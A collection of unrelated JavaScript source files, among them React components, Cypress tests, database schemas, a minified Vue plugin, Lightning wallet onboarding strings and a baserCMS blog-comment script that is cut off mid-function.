// Font Awesome Free 5.15.2 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) // Auto-generated by modulifyFontAwesomeIcons.js, please do not modify directly. export default 'M428.8 137.6h-86.177a115.52 115.52 0 0 0 2.176-22.4c0-47.914-35.072-83.2-92-83.2-45.314 0-57.002 48.537-75.707 78.784-7.735 12.413-16.994 23.317-25.851 33.253l-.131.146-.129.148C135.662 161.807 127.764 168 120.8 168h-2.679c-5.747-4.952-13.536-8-22.12-8H32c-17.673 0-32 12.894-32 28.8v230.4C0 435.106 14.327 448 32 448h64c8.584 0 16.373-3.048 22.12-8h2.679c28.688 0 67.137 40 127.2 40h21.299c62.542 0 98.8-38.658 99.94-91.145 12.482-17.813 18.491-40.785 15.985-62.791A93.148 93.148 0 0 0 393.152 304H428.8c45.435 0 83.2-37.584 83.2-83.2 0-45.099-38.101-83.2-83.2-83.2zm0 118.4h-91.026c12.837 14.669 14.415 42.825-4.95 61.05 11.227 19.646 1.687 45.624-12.925 53.625 6.524 39.128-10.076 61.325-50.6 61.325H248c-45.491 0-77.21-35.913-120-39.676V215.571c25.239-2.964 42.966-21.222 59.075-39.596 11.275-12.65 21.725-25.3 30.799-39.875C232.355 112.712 244.006 80 252.8 80c23.375 0 44 8.8 44 35.2 0 35.2-26.4 53.075-26.4 70.4h158.4c18.425 0 35.2 16.5 35.2 35.2 0 18.975-16.225 35.2-35.2 35.2zM88 384c0 13.255-10.745 24-24 24s-24-10.745-24-24 10.745-24 24-24 24 10.745 24 24z';
import React from 'react'; import connectHierarchicalMenu from '../connectors/connectHierarchicalMenu'; import PanelCallbackHandler from '../components/PanelCallbackHandler'; import HierarchicalMenu from '../components/HierarchicalMenu'; /** * The hierarchical menu lets the user browse attributes using a tree-like structure. * * This is commonly used for multi-level categorization of products on e-commerce * websites. From a UX point of view, we suggest not displaying more than two levels deep. * * @name HierarchicalMenu * @kind widget * @requirements To use this widget, your attributes must be formatted in a specific way. * If you want for example to have a hiearchical menu of categories, objects in your index * should be formatted this way: * * ```json * [{ * "objectID": "321432", * "name": "lemon", * "categories.lvl0": "products", * "categories.lvl1": "products > fruits", * }, * { * "objectID": "8976987", * "name": "orange", * "categories.lvl0": "products", * "categories.lvl1": "products > fruits", * }] * ``` * * It's also possible to provide more than one path for each level: * * ```json * { * "objectID": "321432", * "name": "lemon", * "categories.lvl0": ["products", "goods"], * "categories.lvl1": ["products > fruits", "goods > to eat"] * } * ``` * * All attributes passed to the `attributes` prop must be present in "attributes for faceting" * on the Algolia dashboard or configured as `attributesForFaceting` via a set settings call to the Algolia API. * * @propType {array.<string>} attributes - List of attributes to use to generate the hierarchy of the menu. See the example for the convention to follow. * @propType {boolean} [showMore=false] - Flag to activate the show more button, for toggling the number of items between limit and showMoreLimit. * @propType {number} [limit=10] - The maximum number of items displayed. * @propType {number} [showMoreLimit=20] - The maximum number of items displayed when the user triggers the show more. Not considered if `showMore` is false. * @propType {string} [separator='>'] - Specifies the level separator used in the data. * @propType {string[]} [rootPath=null] - The already selected and hidden path. * @propType {boolean} [showParentLevel=true] - Flag to set if the parent level should be displayed. * @propType {string} [defaultRefinement] - the item value selected by default * @propType {function} [transformItems] - Function to modify the items being displayed, e.g. for filtering or sorting them. Takes an items as parameter and expects it back in return. * @themeKey ais-HierarchicalMenu - the root div of the widget * @themeKey ais-HierarchicalMenu-noRefinement - the root div of the widget when there is no refinement * @themeKey ais-HierarchicalMenu-searchBox - the search box of the widget. See [the SearchBox documentation](widgets/SearchBox.html#classnames) for the classnames and translation keys of the SearchBox. * @themeKey ais-HierarchicalMenu-list - the list of menu items * @themeKey ais-HierarchicalMenu-list--child - the child list of menu items * @themeKey ais-HierarchicalMenu-item - the menu list item * @themeKey ais-HierarchicalMenu-item--selected - the selected menu list item * @themeKey ais-HierarchicalMenu-item--parent - the menu list item containing children * @themeKey ais-HierarchicalMenu-link - the clickable menu element * @themeKey ais-HierarchicalMenu-label - the label of each item * @themeKey ais-HierarchicalMenu-count - the count of values for each item * @themeKey ais-HierarchicalMenu-showMore - the button used to display more categories * @themeKey ais-HierarchicalMenu-showMore--disabled - the disabled button used to display more categories * @translationKey showMore - The label of the show more button. Accepts one parameter, a boolean that is true if the values are expanded * @example * import React from 'react'; * import { InstantSearch, HierarchicalMenu } from 'react-instantsearch/dom'; * * const App = () => ( * <InstantSearch * appId="latency" * apiKey="6be0576ff61c053d5f9a3225e2a90f76" * indexName="ikea" * > * <HierarchicalMenu * attributes={[ * 'category', * 'sub_category', * 'sub_sub_category', * ]} * /> * </InstantSearch> * ); */ const HierarchicalMenuWidget = props => ( <PanelCallbackHandler {...props}> <HierarchicalMenu {...props} /> </PanelCallbackHandler> ); export default connectHierarchicalMenu(HierarchicalMenuWidget);
define([ "dojo/_base/declare", "dojo/has", "dojo/_base/lang" ], function(declare, has, lang){ return declare(null, { renderedText: "", output: "toConsole", outputFile: "output.txt", provideOutput: function() { if (this.output) { if (lang.isFunction(this.output)) { this.output(this.renderedText); } else if (this[this.output]) { this[this.output](); } } }, toConsole: function() { console.log(this.renderedText); }, toMapContainer: function() { if (has("host-browser")) { this.map.container.innerHTML = "<pre>"+this.renderedText+"</pre>"; } }, toFile: function() { if (has("host-browser")) return; var fs = require.nodeRequire("fs"); fs.writeFileSync(this.outputFile, this.renderedText); } }); });
/* eslint import/prefer-default-export: 0 */ import { getElementFromAlias, baseUrl, tableColumnTypeSelector, } from '../../../helpers/dataHelpers'; import { validateCT } from '../../validators/validators'; import { makeDataAPIOptions } from '../../../helpers/dataHelpers'; import { toggleOnMigrationMode } from '../../data/migration-mode/utils'; // ***************** UTIL FUNCTIONS ************************** let adminSecret; let dataApiUrl; export const createTestTable = () => { cy.window().then(win => { adminSecret = win.__env.adminSecret; dataApiUrl = win.__env.dataApiUrl; const { consoleMode } = win.__env; if (consoleMode === 'cli') { toggleOnMigrationMode(); } }); // Click on the create table button cy.visit('/data/schema'); cy.wait(15000); cy.get(getElementFromAlias('data-create-table')).click(); // Enter the table name cy.get(getElementFromAlias('tableName')).type('users'); // Set first column cy.get(getElementFromAlias('column-0')) .clear() .type('id'); // cy.get(getElementFromAlias('col-type-0')).click(); tableColumnTypeSelector('col-type-0'); cy.get(getElementFromAlias('data_test_column_type_value_serial')) .first() .click(); // cy.get(getElementFromAlias('col-type-0')).select('serial'); cy.get(getElementFromAlias('column-1')) .clear() .type('name'); tableColumnTypeSelector('col-type-1'); cy.get(getElementFromAlias('data_test_column_type_value_text')) .first() .click(); // cy.get(getElementFromAlias('col-type-1')).select('text'); // Set primary key cy.get(getElementFromAlias('primary-key-select-0')).select('0'); // Click on create cy.get(getElementFromAlias('table-create')).click(); cy.wait(10000); // Check if the table got created and navigatied to modify table cy.url().should('eq', `${baseUrl}/data/schema/public/tables/users/modify`); // Validate validateCT('users', 'success'); }; export const insertValue = () => { cy.get(getElementFromAlias('table-insert-rows')).click(); // Insert a row cy.get(getElementFromAlias('typed-input-1')).type('someName'); cy.get(getElementFromAlias('insert-save-button')).click(); }; export const openAPIExplorer = () => { //eslint-disable-line // Open API Explorer cy.get(getElementFromAlias('api-explorer')).click(); cy.wait(3000); }; export const checkExecuteQueryButton = () => { cy.get('.execute-button').click(); cy.get('.cm-def').contains('errors'); }; export const checkQuery = () => { if (adminSecret) { cy.get(getElementFromAlias('header-key-2')).type('someKey'); cy.get(getElementFromAlias('header-value-2')).type('someValue'); } else { cy.get(getElementFromAlias('header-key-1')).type('someKey'); cy.get(getElementFromAlias('header-value-1')).type('someValue'); } cy.get('textarea') .first() .type('{enter}{uparrow}query{{}users{{}id}}', { force: true }); cy.wait(1000); cy.get('.execute-button').click(); cy.get('.cm-property').contains('id'); cy.get('.cm-number').contains('1'); }; export const checkMutation = () => { cy.get('textarea') .first() .type( '{enter}{uparrow}#{leftarrow}{enter}{uparrow}mutation insert_user{{}insert_users(objects:[{{}name:"someName"}]){{}returning{{}id}}}', { force: true } ); cy.wait(1000); cy.get('.execute-button').click(); cy.wait(5000); cy.get('.cm-property').contains('id'); cy.get('.cm-number').contains('2'); }; export const checkSub = () => { // Make a subscription cy.get('textarea') .first() .type( '{enter}{uparrow}#{leftarrow}{enter}{uparrow}subscription{{}users{{}name}}', { force: true } ); cy.wait(1000); cy.get('.execute-button').click(); cy.wait(5000); cy.get('.cm-property').contains('name'); cy.get('.cm-string').contains('someName'); // Update the user with id 1 const reqBody = { type: 'update', args: { table: { name: 'users', }, where: { id: '1', }, $set: { name: 'someOtherName', }, }, }; // Make the request const requestOptions = makeDataAPIOptions(dataApiUrl, adminSecret, reqBody); cy.request(requestOptions).then(res => { cy.log(JSON.stringify(res)); cy.wait(3000); cy.get('.cm-string').contains('someOtherName'); // cy.get('.cm-number').contains('1'); }); }; export const delTestTable = () => { cy.get('a') .contains('Data') .click(); // Go to the modify section of the table cy.get(getElementFromAlias('users')).click(); cy.get(getElementFromAlias('table-modify')).click(); // Click on delete cy.get(getElementFromAlias('delete-table')).click(); // Confirm cy.on('window:confirm', str => { expect(str === 'Are you sure?').to.be.true; return true; }); cy.wait(7000); // Match the URL cy.url().should('eq', `${baseUrl}/data/schema/public`); // Validate validateCT('users', 'failure'); };
import SimpleSchema from 'simpl-schema'; import {check} from 'meteor/check'; const Computer = new SimpleSchema( { name: { label: 'Nom', type: String, min: 2 }, description: { label: 'Description', type: String, optional: true } }, {check} ); export default Computer;
/** * description: * author: dongooo * create: 2016-09-18 上午11:24 * php: https://github.com/dongooo **/
import React, { Component } from "react"; import ReactDOM from 'react-dom' import axios from 'axios'; import FadeIn from 'react-fade-in'; import Toolbar from '../Toolbar'; import FingerprintView from '../Analysis/FingerprintView'; import SequenceView from "../Analysis/SequenceView"; import TableView from "../Analysis/TableView"; export default class ResultsFrame extends Component { constructor(props) { super(props); this.state = { resultIndex: 0, results: {}, sequenceViewData: {}, fingerprintViewData: {}, tableViewData: {}, perceptron: 'ready' } } render() { console.log(this.props.results) console.log({}); let perceptronButton; let toolbarButtons; let content; if ( this.state.perceptron == 'ready' ) perceptronButton = { type: 'btn btn-primary btn-lg', tooltip: 'Feed to Perceptron!', icon: 'fas fa-mind-share', disabled: false, clickCallback: (callback) => this.appendTrainingData(callback) } else if ( this.state.perceptron == 'processing') perceptronButton = { type: 'btn btn-primary btn-lg', icon: 'fas fa-cog fa-spin', disabled: true, clickCallback: false } else if ( this.state.perceptron == 'failed' ) perceptronButton = { type: 'btn btn-primary btn-lg', icon: 'fas fa-mind-share', disabled: true, clickCallback: false } else if ( this.state.perceptron == 'success' ) perceptronButton = { type: 'btn btn-primary btn-lg', icon: 'fas fa-check', disabled: true, clickCallback: false } if (Object.keys(this.props.results).length === 0) { toolbarButtons = []; content = <h3>There are no results to display.</h3> } else { toolbarButtons = [ //First ButtonGroup [ perceptronButton, ], //Second ButtonGroup [{ type: 'btn btn-primary btn-lg', tooltip: 'Top Match', txt: this.props.results.results['0'].score, disabled: false, clickCallback: (callback) => this.setState({ resultIndex: 0 }, callback()) }, { type: 'btn btn-light btn-lg', tooltip: 'Match 2', txt: this.props.results.results['1'].score, disabled: false, clickCallback: (callback) => this.setState({ resultIndex: 1 }, callback()) }, { type: 'btn btn-light btn-lg', tooltip: 'Match 3', txt: this.props.results.results['2'].score, disabled: false, clickCallback: (callback) => this.setState({ resultIndex: 2 }, callback()) }, { type: 'btn btn-light btn-lg', tooltip: 'Match 4', txt: this.props.results.results['3'].score, disabled: false, clickCallback: (callback) => this.setState({ resultIndex: 3 }, callback()) }, { type: 'btn btn-light btn-lg', tooltip: 'Match 5', txt: this.props.results.results['4'].score, disabled: false, clickCallback: (callback) => this.setState({ resultIndex: 4 }, callback()) }], ]; content = <> {/*Protein Name */} <h3 className="text-primary"> {this.props.results.results[this.state.resultIndex].parent_name} </h3> {/*Sequence View */} <SequenceView data={this.props.results.results[this.state.resultIndex]} /> <h3 className="pb-2 border-bottom">Spectra</h3> <FingerprintView /> <h3 className="pb-2 border-bottom">Observability Table</h3> <TableView data={this.props.results.results[this.state.resultIndex]} /> </> } return ( <div> <FadeIn> <Toolbar title="Results" buttons={toolbarButtons} /> {content} </FadeIn> </div> ); } appendTrainingData(callback) { this.setState({ perceptron: 'processing' }); const sendData = { data: this.props.results.results[this.state.resultIndex], }; axios.post(`/analysis/appendnn`, sendData) .then(res => { const response = res.data; console.log(response); this.setState({ perceptron: response }); if(callback) callback(); }) .catch(function (e) { console.log(e.response.data.message); if(callback) callback(); }); } }
//require mongoose const mongoose = require('mongoose'); const PostSchema = new mongoose.Schema({ title: { type: String, required: true }, description: { type: String, required: true }, content: { type: String, required: true } }, { timestamps: true }); module.exports = mongoose.model('PostData', PostSchema);
import {FETCH_WEATHER} from '../actions/index'; export default function(state = [], action){ switch (action.type) { case FETCH_WEATHER: //return state.concat([action.payload.data]); // = return [action.payload.data, ...state]; } return state; }
import { createAppContainer, createStackNavigator } from 'react-navigation' import ExampleScreen from 'App/Containers/Example/ExampleScreen' import ScannerPage from 'App/Containers/ScannerPage/ScannerPage' import SplashScreen from 'App/Containers/SplashScreen/SplashScreen' import LoginPage from 'App/Containers/LoginPage/LoginPage' /** * The root screen contains the application's navigation. * * @see https://reactnavigation.org/docs/en/hello-react-navigation.html#creating-a-stack-navigator */ const StackNavigator = createStackNavigator( { // Create the application routes here (the key is the route name, the value is the target screen) // See https://reactnavigation.org/docs/en/stack-navigator.html#routeconfigs SplashScreen: SplashScreen, // The main application screen is our "ExampleScreen". Feel free to replace it with your // own screen and remove the example. MainScreen: ExampleScreen, LoginPage: LoginPage, ScannerPage: ScannerPage, }, { // By default the application will show the splash screen initialRouteName: 'SplashScreen', // See https://reactnavigation.org/docs/en/stack-navigator.html#stacknavigatorconfig headerMode: 'none', } ) export default createAppContainer(StackNavigator)
var searchData= [ ['scmscomponentcrlseries',['ScmsComponentCrlSeries',['../cert-profile_8asn.html#ac50c0e9020b2047f46834aab31adfda6',1,'cert-profile.asn']]], ['sequenceofpsidgrouppermissions',['SequenceOfPsidGroupPermissions',['../cert-profile_8asn.html#a836591550259a32295dd51fa856f4267',1,'cert-profile.asn']]], ['sequenceofpsidssp',['SequenceOfPsidSsp',['../cert-profile_8asn.html#a6591b45f6ce106fe45bf6bfa00e2c151',1,'SequenceOfPsidSsp():&#160;cert-profile.asn'],['../pca-ra_8asn.html#a6591b45f6ce106fe45bf6bfa00e2c151',1,'SequenceOfPsidSsp():&#160;pca-ra.asn']]], ['signature',['Signature',['../ee-ma_8asn.html#aea9ad74e96aef461e752f512b1c8dbb9',1,'Signature():&#160;ee-ma.asn'],['../ee-ra_8asn.html#aea9ad74e96aef461e752f512b1c8dbb9',1,'Signature():&#160;ee-ra.asn'],['../la-pca_8asn.html#aea9ad74e96aef461e752f512b1c8dbb9',1,'Signature():&#160;la-pca.asn'],['../pca-ra_8asn.html#aea9ad74e96aef461e752f512b1c8dbb9',1,'Signature():&#160;pca-ra.asn'],['../scms-base-types_8asn.html#aea9ad74e96aef461e752f512b1c8dbb9',1,'Signature():&#160;scms-base-types.asn']]], ['signeddata',['SignedData',['../pca-ra_8asn.html#a1967ee178d890da66e3712fbe9d73a79',1,'pca-ra.asn']]], ['signeridentifier',['SignerIdentifier',['../pca-ra_8asn.html#af05e93cf071df0b05a3c07b974e09967',1,'pca-ra.asn']]], ['subjectassurance',['SubjectAssurance',['../pca-ra_8asn.html#a6a67f75bf8925674d6f10463aebbcd6e',1,'pca-ra.asn']]], ['symmetricciphertext',['SymmetricCiphertext',['../pca-ra_8asn.html#a1abec7669a910bb2b9e7ac75727f4420',1,'pca-ra.asn']]] ];
// import React from 'react' // import { StaticQuery, graphql } from 'gatsby' // const getSiteData = graphql` // // query SecondQuery { // // site { // // siteMetadata { // // title // // description // // author // // data { // // name // // age // // } // // } // // } // // } // ` // const RegularHeader = () => { // return ( // <StaticQuery // query={getSiteData} // render={data => { // console.log(data) // return ( // <div> // <h1>title: {data.site.siteMetadata.title}</h1> // <h1>author: {data.site.siteMetadata.author}</h1> // </div> // ) // }} // /> // ) // } // export default RegularHeader
!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports.VueStrap=e():t.VueStrap=e()}(this,function(){return function(t){function e(s){if(i[s])return i[s].exports;var n=i[s]={exports:{},id:s,loaded:!1};return t[s].call(n.exports,n,n.exports,e),n.loaded=!0,n.exports}var i={};return e.m=t,e.c=i,e.p="",e(0)}([function(t,e,i){"use strict";function s(t){return t&&t.__esModule?t:{"default":t}}function n(t,e){var i=t.prefix,s=t.caseType,n="";switch(Array.isArray(e)||(e=[e]),s){case"kebab-case":n=e.join("-"),i&&(n=i+"-"+n);break;case"camelCase":n=i?i+a(e):e[0]+a(e.slice(1));break;case"TitleCase":default:n=a(e),i&&(n=i+n)}return n}function a(t){return t.map(function(t){return t.charAt(0).toUpperCase()+t.slice(1)}).join("")}e.__esModule=!0;var r=i(3),c=s(r),u=i(4),l=s(u),o=function(t){var e=arguments.length<=1||void 0===arguments[1]?{}:arguments[1];t.component(n(e,"pager"),c["default"]),t.component(n(e,"select"),l["default"])};e["default"]=o,t.exports=e["default"]},function(t,e){"use strict";e.__esModule=!0;var i=1,s=/[^0-9]/g;e["default"]={name:"Pager",props:{id:{type:String,"default":"Pager-"+i++},total:{type:Number,"default":0},limit:{type:Number,"default":5},padding:{type:Number,"default":2},sizeLimit:{type:Number,"default":9},prevText:{type:String,"default":"前一页"},nextText:{type:String,"default":"后一页"}},data:function(){return{current:1,begin:1,end:1}},computed:{size:function(){return Math.ceil(this.total/this.limit)},validJump:function(){var t=this.jump;return"number"==typeof t&&t>0&&t<=this.size&&t!==this.current}},watch:{jump:function(t,e){"string"==typeof t&&(t=t.replace(s,""),""!==t&&(t=parseInt(t)),this.jump=t)},total:function(){this.calcSize()},limit:function(){this.calcSize()},current:function(){this.calcSize()}},methods:{calcSize:function(){this.current>this.size&&(this.current=1),this.begin=this.current-this.padding,this.end=this.current+this.padding,this.begin<2&&(this.begin=2),this.end>this.size-1&&(this.end=this.size-1),this.current-this.begin<=1&&(this.end=this.begin+2*this.padding),this.end-this.current<=1&&(this.begin=this.end-2*this.padding)},jump:function n(){var n=this.jump;"number"==typeof n&&this.nav(n),this.jump="",this.$refs.jump.focus()},nav:function(t){t<1||t>this.total||t===this.current||(this.current=t,this.$emit("nav",{total:this.total,current:this.current,limit:this.limit,offset:this.limit*(this.current-1)}))}},created:function(){this.calcSize()}},t.exports=e["default"]},function(t,e){"use strict";e.__esModule=!0,e["default"]={props:{value:null,options:{type:Array,required:!0},valuePath:{type:String,"default":"value"},textPath:{type:String,"default":"text"}},data:function(){return{selected:null}},watch:{value:function(){this.selected=this.value},selected:function(){this.$emit("input",this.selected)}},created:function(){if(this.value)this.selected=this.value;else{var t=this.options.find(function(t){return t.selected})||this.options[0];this.selected=t[this.valuePath]}}},t.exports=e["default"]},function(t,e,i){var s,n;s=i(1);var a=i(5);n=s=s||{},"object"!=typeof s["default"]&&"function"!=typeof s["default"]||(n=s=s["default"]),"function"==typeof n&&(n=n.options),n.render=a.render,n.staticRenderFns=a.staticRenderFns,t.exports=s},function(t,e,i){var s,n;s=i(2);var a=i(6);n=s=s||{},"object"!=typeof s["default"]&&"function"!=typeof s["default"]||(n=s=s["default"]),"function"==typeof n&&(n=n.options),n.render=a.render,n.staticRenderFns=a.staticRenderFns,t.exports=s},function(module,exports){module.exports={render:function(){with(this)return _h("div",{directives:[{name:"show",value:size>1,expression:"size>1"}],staticClass:"pager"},[_h("div",{staticClass:"wrap clearfix",attrs:{style:"display:inline-block;"}},[_h("ul",{staticClass:"pagination m-y-0"},[_h("li",{staticClass:"page-item","class":{disabled:1===current}},[1!==current?_h("a",{staticClass:"page-link",attrs:{href:"javascript:void(0)"},on:{click:function(t){nav(current-1)}}},[_s(prevText)]):_h("span",{staticClass:"page-link"},[_s(prevText)])," "])," "," ",size>sizeLimit?[_h("li",{staticClass:"page-item","class":{active:1===current}},[_h("a",{staticClass:"page-link",attrs:{href:"javascript:void(0)"},on:{click:function(t){nav(1)}}},["1"])])," ",begin>2?_h("li",{staticClass:"page-item disabled"},[_m(0)]):_e()," ",end-begin+1&&_l(end-begin+1,function(t){return _h("li",{staticClass:"page-item","class":{active:current===t-1+begin}},[_h("a",{staticClass:"page-link",attrs:{href:"javascript:void(0)"},on:{click:function(e){nav(t-1+begin)}}},[_s(t-1+begin)])])})," ",end<size-1?_h("li",{staticClass:"page-item disabled"},[_m(1)]):_e()," ",_h("li",{staticClass:"page-item","class":{active:current===size}},[_h("a",{staticClass:"page-link",attrs:{href:"javascript:void(0)"},on:{click:function(t){nav(size)}}},[_s(size)])])]:[size&&_l(size,function(t){return _h("li",{staticClass:"page-item","class":{active:current===t}},[_h("a",{staticClass:"page-link",attrs:{href:"javascript:void(0)"},on:{click:function(e){nav(t)}}},[_s(t)])])})]," "," "," ",_h("li",{staticClass:"page-item","class":{disabled:current===size}},[current!==size?_h("a",{staticClass:"page-link",attrs:{href:"javascript:void(0)"},on:{click:function(t){nav(current+1)}}},[_s(nextText)]):_h("span",{staticClass:"page-link"},[_s(nextText)])," "])])])])},staticRenderFns:[function(){with(this)return _h("span",{staticClass:"page-link"},["..."])},function(){with(this)return _h("span",{staticClass:"page-link"},["..."])}]}},function(module,exports){module.exports={render:function(){with(this)return _h("select",{directives:[{name:"model",value:selected,expression:"selected"}],staticClass:"custom-select",on:{change:function(t){selected=Array.prototype.filter.call(t.target.options,function(t){return t.selected}).map(function(t){return"_value"in t?t._value:t.value})[0]}}},[options&&_l(options,function(t){return _h("option",{domProps:{value:t[valuePath]}},["\n "+_s(t[textPath])+"\n "])})])},staticRenderFns:[]}}])}); //# sourceMappingURL=vue-strap.0.0.6.min.js.map
import { defineMessages } from 'react-intl' /* eslint-disable max-len */ export default defineMessages({ alias_description: 'Set your node alias to help others connect with you on the Lightning Network', alias_title: 'What should we call you?', alias_label: 'Alias', autopilot_description: 'Autopilot is an automatic network manager. Instead of manually adding people to build your network to make payments, enable autopilot to automatically connect you to the Lightning Network using 60% of your balance.', autopilot_title: 'Autopilot', back: 'back', cert_description: 'Path to the lnd tls cert. Example: /path/to/tls.cert', cert_title: 'TLS Certificate', macaroon_title: 'Macaroon', confirm_connection_description: 'Confirm the connection details for your Lightning node.', confirm_connection_title: 'Confirm connection', connection_description: 'Create a new Lightning enabled Bitcoin wallet', connection_details_custom_description: 'Enter the connection details for your Lightning node.', connection_uri_btcpay_description: "Paste the full content of your BTCPay Server connection config file. This can be found by clicking the link entitled 'Click here to open the configuration file' in your BTCPay Server gRPC settings.", connection_details_custom_title: 'Connection details', connection_details_tab_custom_paths: 'Files', connection_details_tab_lndconnect: 'Connection String', connection_string_label: 'Connection String', connection_string_placeholder: 'BTCPay Server Connection String', connection_uri_label: 'Connection String', connection_uri_lndconnect_description: 'Paste an Lnd Connect URI. You can generate one of these using the lndconnect utility. Example: "lndconnect://1.2.3.4:10009?cert=x&macaroon=y"', connection_string_invalid: 'Invalid Connection String', connection_title: 'How will you connect to the Lightning Network?', create_wallet_password_description: 'Looks like you are new here. Set a password to encrypt your wallet. This password will be needed to unlock Zap in the future', create_wallet_password_title: 'Welcome!', custom: 'Custom', default: 'Default', default_description: 'By selecting the default mode we will do everything for you. Just click and go!', disable: 'Disable Autopilot', enable: 'Enable Autopilot', hostname_description: 'Hostname and port of the Lnd gRPC interface. Example: localhost:10009', hostname_title: 'Host', import_description: "Recovering a wallet, nice. You don't need anyone else, you got yourself :)", import_title: 'Import your seed', login_description: 'Please enter your wallet password to unlock it.', login_title: 'Welcome back!', macaroon_description: 'Path to the lnd macaroon file. Example: /path/to/admin.macaroon', network_title: 'Network', network_description: 'Select the network your wallet will be connected to', network_mainnet: 'Mainnet', network_mainnet_description: 'Connect to the live Bitcoin network and use real funds.', network_testnet: 'Testnet', network_testnet_description: 'Experiment with test bitcoin that has no monetary value.', network_warning: 'WARNING: You may lose your funds. Mainnet support is experimental and has not been thoroughly tested. Use Testnet to experiment without risk.', next: 'Next', only: 'only', password_confirm_placeholder: 'Confirm Password', password_error_length: 'Password must be at least {passwordMinLength} characters long', password_error_match: 'Passwords do not match', password_label: 'Password', password_placeholder: 'Enter your password', password_description: 'You would have set your password when first creating your walet. This is separate from your 24 word seed.', retype_seed_description: "Your seed is important! If you lose your seed you'll have no way to recover your wallet. To make sure that you have properly saved your seed, please retype words {word1}, {word2} & {word3}", retype_seed_title: 'Retype your seed', save_seed_description: 'Please save these 24 words securely! This will allow you to recover your wallet in the future', save_seed_title: 'Save your wallet seed', seed_warning: 'Keep this private! If someone gains access to this list they can steal your money.', signup_create: 'Create new wallet', connection_type_create_label: 'Create', connection_type_create_description: 'Create a new wallet', connection_type_import_label: 'Recover', connection_type_import_description: 'Recover your wallet', connection_type_custom_label: 'Connect', connection_type_custom_description: 'Connect to your node', signup_description: 'Would you like to create a new wallet or import an existing one?', signup_import: 'Import existing wallet', signup_title: "Alright, let's get set up", unlock: 'Unlock', unlocking: 'Unlocking', verify_host_description: 'Please check the hostname carefully.', verify_host_title: 'Are you sure you want to connect to', wallet_name_description: 'Set a name for your wallet to help you identify it in Zap. This is for internal purposes only and will not be broadcast on the Lightning Network.', wallet_name_title: 'What do you want to call this wallet?', wallet_name_label: 'Wallet Name', word_placeholder: 'word', generating_seed: 'Generating Seed...', importing_wallet: 'Importing wallet...', })
import { Route } from 'cx/widgets'; import OpenSourceSoftware from './open-source-software'; import Folders from './folders'; export default <cx> <Route route="~/meta/open-source-software" url:bind="url" items={OpenSourceSoftware}/> <Route route="~/meta/folders" url:bind="url" items={Folders}/> </cx>;
import React from "react"; import "font-awesome/css/font-awesome.min.css"; import styles from "../css/search.module.css"; import SearchResults from "./SearchResults"; import DataManager from "../utils/dataManager"; import LocalStorage from "../utils/localStorage"; const KEYBOARD = { ENTER: 13 }; class SearchBar extends React.Component { constructor(props) { super(props); this.state = { input: "", searchResults: [] }; } /** * convert search results 'titles' to 'entries' (title + desc) */ titlesToEntries(entryTitles) { return entryTitles.map(title => { return { title: title, desc: DataManager.keywordDictionary[title].body }; }); } submitSearch = searchQuery => { const results = DataManager.keywords.search(searchQuery.toLowerCase()); const entries = this.titlesToEntries(results); if (searchQuery === "") { this.submitNoResults(); } else if ( entries.length === 0 && searchQuery.localeCompare("default") !== 0 ) { this.submitNoResults(); } else { this.setState({ searchResults: entries }); } }; handleChange = event => { this.setState({ input: event.target.value }); if (event.target.value === "") { this.clearSearchResults(); } }; keyPress = event => { if (event.keyCode === KEYBOARD.ENTER) { this.submitSearch(event.target.value); } }; clearSearchResults() { this.submitSearch("default"); } submitNoResults() { this.setState({ searchResults: [ { title: "Oh no :(", desc: "No results for this query, try again!" } ] }); } /** * update search results when 'favorites' stars clicked * remove the entries that need to be updated, update the state, then update back to original */ update = () => { const loadFavorites = LocalStorage.obtain("favorites"); const currentResults = [...this.state.searchResults]; const updatedResults = []; currentResults.forEach(entry => { let toUpdate = true; loadFavorites.forEach(storedEntry => { if (storedEntry.title.localeCompare(entry.title) === 0) { toUpdate = false; } }); if (toUpdate === false) { updatedResults.push(entry); } }); this.setState({ searchResults: updatedResults }, () => this.setState({ searchResults: currentResults }) ); }; render() { return ( <div> <div className={styles.row}> <input value={this.state.input} onKeyDown={this.keyPress} onChange={this.handleChange} className={`${styles.column} ${styles.left}`} type="text" placeholder="Search for a waste item to dispose..." name="search" /> <button className={`${styles.column} ${styles.right}`} onClick={() => this.submitSearch(this.state.input)} > <i className="fa fa-search fa-2x" /> </button> </div> <SearchResults searchResults={this.state.searchResults} update={this.update} /> </div> ); } } export default SearchBar;
/** * baserCMS : Based Website Development Project <http://basercms.net> * Copyright (c) baserCMS Users Community <http://basercms.net/community/> * * @copyright Copyright (c) baserCMS Users Community * @link http://basercms.net baserCMS Project * @since baserCMS v 0.1.0 * @license http://basercms.net/license/index.html */ //CAPTCHA有効・無効 var authCaptcha = false; //コメントの承認あり・なし var commentApprove = false; /** * コメントを送信する */ function sendComment() { var msg = ''; $.bcToken.setTokenUrl('/blog/blog_comments/get_token'); if (!$("#BlogCommentName").val()) { msg += 'お名前を入力してください\n'; } if (!$("#BlogCommentMessage").val()) { msg += 'コメントを入力してください\n'; } if (authCaptcha) { if (!$("#BlogCommentAuthCaptcha").val()) { msg += '画象の文字を入力してください\n'; } } if (!msg) { $.bcToken.check(function() { var form = $("#BlogCommentAddForm"); form.find('input[name="data[_Token][key]"]').remove(); form.append($.bcToken.getHiddenToken()); $.ajax({ url: form.attr('action'), type: 'POST', data: form.serialize(), dataType: 'html', beforeSend: function() { $("#BlogCommentAddButton").prop('disabled', true); $("#ResultMessage").slideUp(); }, success: function(result) { if (result) { loadAuthCaptcha(); $("#BlogCommentName").val(''); $("#BlogCommentEmail").val(''); $("#BlogCommentUrl").val(''); $("#BlogCommentMessage").val(''); $("#BlogCommentAuthCaptcha").val(''); var resultMessage = ''; if (commentApprove) { resultMessage = '送信が完了しました。送信された内容は確認後公開させて頂きます。'; } else { var comment = $(result); comment.hide(); $("#BlogCommentList").append(comment); comment.show(500); resultMessage = 'コメントの送信が完了しました。'; } $("#ResultMessage").html(resultMessage); $("#ResultMessage").slideDown(); } else { postError(); } }, error: function(result) { postError(); }, complete: function(xhr, textStatus) { $("#BlogCommentAddButton").removeAttr('disabled'); } }); }); } else { alert(msg); } } /** * エラー処理 */ function postError() { loadAuthCaptcha(); $("#BlogCommentAuthCaptcha").val(''); $("#ResultMessage").html('コメントの送信に失敗しました。入力内容を見なおしてください。'); $("#ResultMessage").slideDown(); } /** * キャプチャ画像を読み込む */ function loadAuthCaptcha() { if (authCaptcha) 